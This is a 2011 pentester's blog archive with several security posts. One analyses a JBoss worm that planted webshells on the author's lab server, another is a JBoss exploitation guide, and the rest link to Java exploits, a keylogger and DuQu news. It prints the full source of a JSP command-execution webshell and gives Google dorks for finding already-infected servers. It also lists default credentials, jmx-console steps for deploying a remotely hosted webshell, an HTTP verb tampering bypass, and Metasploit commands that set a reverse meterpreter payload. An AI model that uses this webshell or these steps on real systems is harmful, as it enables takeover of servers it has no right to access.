Jboss Worm – It is real and there are 3 new form spreading #in #jboss #worm
During last two weeks, I exposed my lab towards a public IP. I have Jboss4/6 on it and some more things, and today I noticed something I didn’t deploy…:
Directory of C:\jboss\server\default\deploy\management ../../2011 11:41 <DIR> . ../../2011 11:41 <DIR> .. ../../2010 04:10 <DIR> console-mgr.sar ../../2011 20:29 <DIR> iddqd.war ../../2011 23:09 <DIR> idssvc.war ../../2011 18:55 <DIR> iesvc.war ../../2010 04:26 <DIR> web-console.war ../../2011 22:22 <DIR> wstats.war ../../2011 19:07 <DIR> zecmd.war
This is a default Jboss dir, where you should find only web-console .war and console-mgr.sar; as you can see, someone has added something else… This server had a (strong) password, so I think they used a 0day or the HTTP Verb Jboss vuln (HEAD use of the jmx-console) Starting from the first one, iddqd.war; it is a simple war, with only one jsp with the very same name:
Directory of C:\jboss\server\default\deploy\management\iddqd.war ../../2011 20:29 <DIR> . ../../2011 20:29 <DIR> .. ../../2011 16:44 630 iddqd.jsp 1 File(s) 630 bytes
iddqd.jsp is a simple java web-shell (x.x.x.22 is my server)
iddqd.jsp running net statistics
Here is the source, it’s a very straightforward JSP shell:
<%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre>
<% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine();
while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>
</pre> </BODY></HTML>
All wars are built the same: there is the xxx directory (where xxx is the name of the war, as zecmd) and its corresponding jsp (zecmd.jsp), so on my server now there are 5 Java backdoors:
http://x.x.x.22/zecmd/zecmd.jsp http://x.x.x.22/wstats/wstats.jsp http://x.x.x.22/iddqd/iddqd.jsp http://x.x.x.22/idssvc/idssvc.jsp http://x.x.x.22/iesvc/iesvc.jsp
After discovering this, I started wonder: why do you need to upload 5 webshells?? If you are a “human”, you would surely prefer one stable webshell… This is where I googled for iddqd.jsp, and here comes the surprise… Everything seems to link this jsp to the infamous and not well known (for me) Jboss worm; here there a great and detailed analysis I found, and I can confirm this is the behavior if the infection is successful:
http://eromang.zataz.com/2011/10/25/jboss-worm-analysis-in-details/
Try just google for iddqd.jsp / wstats.jsp (last one is less common…) and you’ll find a third form, zmeu/zmeu.jsp
I found no references explicit linking the Jboss worm to wstats.jsp, zmeu.jsp and iddqd.jsp , so I assume those are 3 new “form” of this “worm”.
Dorking for those jsp usage could give you an idea on how many sites have this worm/shell on!!!
You can even find issued commands (perl+a.pl or pscan) in the status history:
http://www.google.com/search?q=zmeu.jsp
http://www.google.com/search?q=iddqd.jsp
http://www.google.com/search?q=%22wstats.jsp%22
http://www.google.com/search?q=%22iesvc.jsp%22
http://www.google.com/search?q=%22zecmd.jsp%22
http://www.google.com/search?q=%22idssvc.jsp%22
There are at leat 200 unique URLs indexed by Google (my lab isn’t, and I suppose many infected Jboss) that seems to be infected
It is spreading right now (i.e in my lab wstats.jsp has been uploaded yesterday, 15 Dec); while it is not as serious as other worm, It can target critical application and infrastructures, due to the fact that no one uses Jboss for “simple company site”, usually.
CLSHACK – Simple keylogger with xinput
Here http://www.clshack.it/linux-xinput-simple-keylogger.html, they say xinput does need root privilege to read chars; so they build a keylogger exploiting this “feature”
Cool, very smart, but is this an xinput implementation bug, or is a X (Xorg/Xfree) design bug? It could be disastrous if it applies to ALL Unix…
Jboss Pentesting & HTTP Verbal Tampering
It is about 2-3 months I pentest Jboss & Tomcat…There are some issue I think can be useful to exploit Jboss. First of all, as any application server, you can totally own the server by getting into the application server admin console. You’ll have 2 way to do this:
- weak password
- exploiting
Jboss has 2 kind of admin console: the first one, the oldest one, is the jmx-console, ie http://localhost:8080/jmx-console/
and the second one, from Jboss 5.5 or similar http://localhost:8080/admin-console/
Jboss has quite always an Information Leakage page, very useful to debug your tries http://localhost:8080/status?full=true
Weak Passwords
Jboss 4 has no password for jmx-console; on Jboss>4 , there are some default password, usually admin/admin
If you can read files, point to
server\default\deploy\jmx-console.war\WEB-INF\classes\jmx-console-users.properties
and you’ll have an easy own.
Deploying a Webshell
To deploy something, you’ll have 3 choiches
- metasploit, with 3 sub-choiches
- http://www.metasploit.com/modules/exploit/multi/http/jboss_maindeployer
- http://www.metasploit.com/modules/exploit/multi/http/jboss_bshdeployer
- http://www.metasploit.com/modules/exploit/multi/http/jboss_deploymentfilerepository
- the daytona pack, that is a self-running version of those metasploit-exploits http://www.exploit-db.com/exploits/17977/
- the manual way
With metasploit, it is better to deploy a meterpreter, as usual. The daytona pack will provide you with a reverse shell.
Manually, you can check many thins as explained here: http://lab.mediaservice.net/notes_more.php?id=JBOSS_more
To upload a webshell manually, the best way is
- get a domain/webspace on a web server and upload your webshell (for example wsh4jboss.war, but mine is an old-fashioned-style webshell
- go to http://localhost:8080/jmx-console/ ->look forDeploymentScanner -> look for addURL() -> put your http://mydomain/wsh4jboss.war here, then Invoke
- NOTE: it is a quick way to do this, but it will continuously load the war from mydomain, so you can run out of bandwidth
- to undeploy, http://localhost:8080/jmx-console/ ->jboss.web.deployment -> find your shell -> click -> stop() and/or destroy()
Why the “manual” way? Because if daytona/metasploit fails, it is not always unexploitable :)
HTTP Verbal Tampering
You can do everything with a JMX-Console password (or if your jmx-console does not has a password); but if you can’t get it?
So, do you know what HTTP Verbal Tampering is? (I think this is the Fortify name). Every web application J2EE has a WEB-INF\web.xml file; it says many things (audit it when you pentest/code review!!), but we need to the security-constraint section:
<security-constraint> <web-resource-collection> <web-resource-name>HtmlAdaptor</web-resource-name> <description>An example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application </description> <url-pattern>/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint><role-name>JBossAdmin</role-name></auth-constraint> </security-constraint>
So, let’s understand this XML Piece; what does it says? If you read documentation, you’ll discover that what the comment says is false. This piece of XML says “To access HtmlAdaptor/* by GET or POST, you have to be member of the JBossAdmin group“. What does not says is “To access HtmlAdaptor/* by HEAD, PUT, DELETE, MODIFY, OPTIONS and TRACE, you does not need to be in any group“
What can you do with HEAD/PUT/….? In Java every servlet (HTMLAdaptor is the main JMX-Console servlet) needs to implement doGet(…) doPost(…) doPut(…) method to serve for a specific HTTP Verb; a JSP, instead, can answer to any Verb, so a JSP is less secure than a servlet. So it is very unlikely you will modify any file or put a file on the AS…
But HEAD is like GET, except for the fact you’ll not see the outpu –> some requests to the jmx-console can be done with HEAD –> this is the “Jboss exploitation tecnique”
With metasploit, any of the previous mode support the modification of the Verbal HTTP:
msf > use exploit/multi/http/jboss_maindeployer msf exploit(jboss_maindeployer) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(jboss_maindeployer) > set LHOST [MY IP ADDRESS] msf exploit(jboss_maindeployer) > set RHOST [TARGET IP] msf exploit(jboss_maindeployer) > set VERB HEAD msf exploit(jboss_maindeployer) > exploit
Remember to check the /status?full=true page ;)
Vendors, Disclosure and Patching problems – an open letter by IT Security Geeks
When I read this link,
AN OPEN LETTER TO SOFTWARE VENDORS
I lived a well-known story I saw many times… I totally agree with them, and I would like to add some word to their letter:
@hdmoore linked the Rapid7 Disclosure policy: 60 days as maximum time given to the Vendor to patch… they are many, in a working environment. If you need more time to fix a “standard” vuln (memory corruption, sql injection, XSS, RFI, …) please re-think one of your process: do you develop bad code, with too many security bugs? Do you not undertake a correct Risk Analisys? Is your Incident Team too slow to address the issue after the Security Researcher/Consultant/Pentester submitted the bug?
Dear vendor,
until your Development Processes + Incident Handling Teams/Process + Risk Analisys & Management Structures will not communicate and will not see themselves as interrelating structures, you will not get even closer to real security. Your “quick” response (2-3 months or even a year!) is inappropriate to this new world.
Bad guys have twitter to share vulns in 15 minutes; they google your watermarks to find your product deployed on small or big companies! Small sites/companies are attacked for anonymization, DDOS, find customer’s data, spam, phishing, … and big ones can be totally owned for you vulns.
Yes, bad guys can own a company because of your bugs: just think about it, if I have found a big issue in only 5 days, what could an “armed&dangerous” team do in 3 months? And why will they target you? Who knows, perhaps because one day someone will look at you old-fashioned-web1.0-app, with no ajax and few css support, and will start thinking “how old this one is?”…
Please, stop thinking “I have reviewed my policies/processes 4 years ago, they are ok”… No, they’re not, 4 years ago no one used twitter or FB or google+ like today. 4 years ago cloud services waere pioneristic! 4 years ago there were not Stuxnet or DuQu, integrated malaware with extensive capabilities.
You have to rethink yourself as attackers became more powerful, and world goes on… If you think about it now, you have time to do big changes that will lead to a more secure state, if you continue delaying, please believe me when I say that tomorrow could be too late for your business
Kind Regards
A Senior Security Consultant
OWASP Mantra – Pentest (Chrome) Browser project
Mantra from OWASP seems a good project
https://www.owasp.org/index.php/OWASP_Mantra_-_Security_Framework
It is a Chrome environment (portable, so it does not interfere with your everyday-use chrome installation) with many useful add-ons for pentesters. Personally, I think there are two or three things missing in comparison with a good Firefox profile (something like the one I posted before, which coul become better)… I was not able to match what they say it is present to what I actually find opening Mantra.
Java Exploits/Research
This researcher is a new myth for me: @jduck1337
This paper is very interesting, and it is something I was thinking about since 3-4 years… Exploiting memory corruptions in java is always something very fascinating to me.
Another interesting & extremely clever work, @mihi42 Java RMI exploit, which takes advantage about default Java RMI configuration; it is very different from Joshua’s work, but it coult be devastating in some environment…
This work by @mihi42 makes possible to run Java code outside the sandbox, exploiting a design flaw in Mozilla Rhino Script engine:
http://schierlm.users.sourceforge.net/CVE-2011-3544.html
DuQu – (trying to) summarize infos
Really too may tweet/linkedin/blog/forum/news… I will try to collect them in a single post, in order to go deeper in case I will have time…
December 13,2011 Iran shuts down Duqu-linked servers
December 4,2011 Stuxnet, Duqu & Conficker, a new generation of cyber weapons … even “without a father”
November 28,2011 Duqu: involution of Stuxnet [slides]
November 18,2011 DuQu mystery deepens as Irans admits infection
November 18, 2011 DuQu – Do we really know the enemy?
November 14,2011 Iran claims it can control DuQu
November 13, 2011 Iran says it has detected and is fighting DuQu and here
November 13, 2011 DuQu was more serious than previously thought
November 11,2011 Hackers may have spent years crafting DuQu
November 11,2011 DuQu saga continues: Mr B. Jamson and TV’s Dexter
November 7,2011 DuQu may derive from stars and Stuxnet, DuQu, Stars and Galaxies…, October 21, 2011, from Paolo Passeri’s blog
November 6,2011 DuQu Open Source detector released (Python)
November 5,2011 DuQu analisys and detection tool by NSS labs
November 5, 2011 DuQu was created to spy on Iranian nuclear program
November 4, 2011, Five Things To Do To Defend Against Duqu
November 4, 2011, Microsoft Releases Workaround For Kernel Flaw Used By Duqu
http://technet.microsoft.com/en-us/security/advisory/2639658
November 3, 2011
MS Windows 0-Day exploited by Duqu is caused by a TrueType font parsing vuln. Blocking T2EMBED.DLL prevents the attack
November 3, 2011 DuQu hackers shift to Belgium after India Raid
November 2, 2011 DuQu: The son or the father of StuxNet
November 2, 2011 What is DuQu up to?
October 28, 2001 India shuts server linked to Duqu computer virus
October 28, 2011 Win32/Duqu analysis: the RPC edition
October 27, 2011 Spotted in Iran, trojan Duqu may not be “son of Stuxnet” after all
October 27, 2011 New Duqu Trojan analysis questions Stuxnet connection
October 27, 2011 Analysis: Duqu Malware Launches Custom(izable) Attacks
October 26, 2011 Duqu incidents detected in Iran and Sudan
October 26, 2011 Duqu, Stuxnet link unclear
October 26, 2011 Duqu Trojan Questions and Answers
October 25, 2011 The mistery of DuQu
October 24, 2011 Symantec analisys: W32.Duqu: The Precursor to the Next Stuxnet
October 21, 2011 DuQu first removal tool (Symantec)
October 18, 2011 The Day of the Golden Jackal – The Next Tale in the Stuxnet Files: Duqu Updated
Web application testing from Iphone
I missed this… http://www.gnucitizen.org/blog/well-websecurify-runs-on-the-iphone/
Gnucitizen says: “The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.“
I don’t like apple products, so I don’t have an iPhone; will they become “small-and-not-visible” hacking instruments? For post exploit in a wifi pentest it is important to have such a small device!
One-line shellocode(s)
This article shows some examples of shellcodes in python (shellcode in this case means backdoors): reverse and “direct” tcp backdoor opened through python.
http://www.pentestit.com/source-code-python-line-shellcode/
In my experience, working with SunOS or hardened RHEL/SEL, it is difficult to find a working installation of python/perl/ruby (that’s impossible!!)
This is why i developed those backdoor (wsh and jbd) completely in Java… I always find Java in any environment (any = 95%)
Another “old but useful” is bash-reverse-shell-in-2-lines; it works :D
http://www.gnucitizen.org/blog/reverse-shell-with-bash/
Do anyone know other “quick-and-dirty” ways to open backdoors [apart from nc]?
Firefox7 profile with pentesting add-ons
I uploaded a pre-built Penetration Testing FireFox7 profile, with many useful extension:
Firefox7_pentestin_profile.rar
I created this profile from scratch, starting from add-ons listed in the FireCAT project; many extensions did not work anymore, but the most important does; there are more or less 20 extensions, basically:
- no logging extensions, if you know please comment this post, I really would like one of it
- you’ll find hackbar, decoder, tamper data, firebug, cookie manager, user agent switch, web developer,
- you’ll find downthemall, tabmixplus
- foxyproxy with a localhost:8080 entry (no model specified, you need to select it for all URLs)
- “news”: flash firebug, poster (web services testing), sqlite manager, fireforce, fireshot
- as default, there is a theme with little paragraph-spacing (so you should not have long right-click menus)
Any other option is in the default state as a plain firefox installation. If you don’t know, you can run multiple firefox profiles at the same type; just run:
- /path/to/firefox –no-remote -P
- C:\path\to\firefox.exe –no-remote -P
-P -> shows the profile manager
–no-remote ->you can start more profiles at the same time
To use this one, just unpack the file (I suggest you into a cyphered partition), then run Firefox with those options, create new profile, select folder, go to the folder where you unpacked this RAR, and give it a name.
Extension suggestions are always welcome :)
-
Archives
- December 2011 (1)
- November 2011 (8)
- October 2011 (2)
- May 2011 (1)
- May 2010 (1)
- April 2010 (7)
-
Categories
-
RSS
Entries RSS
Comments RSS
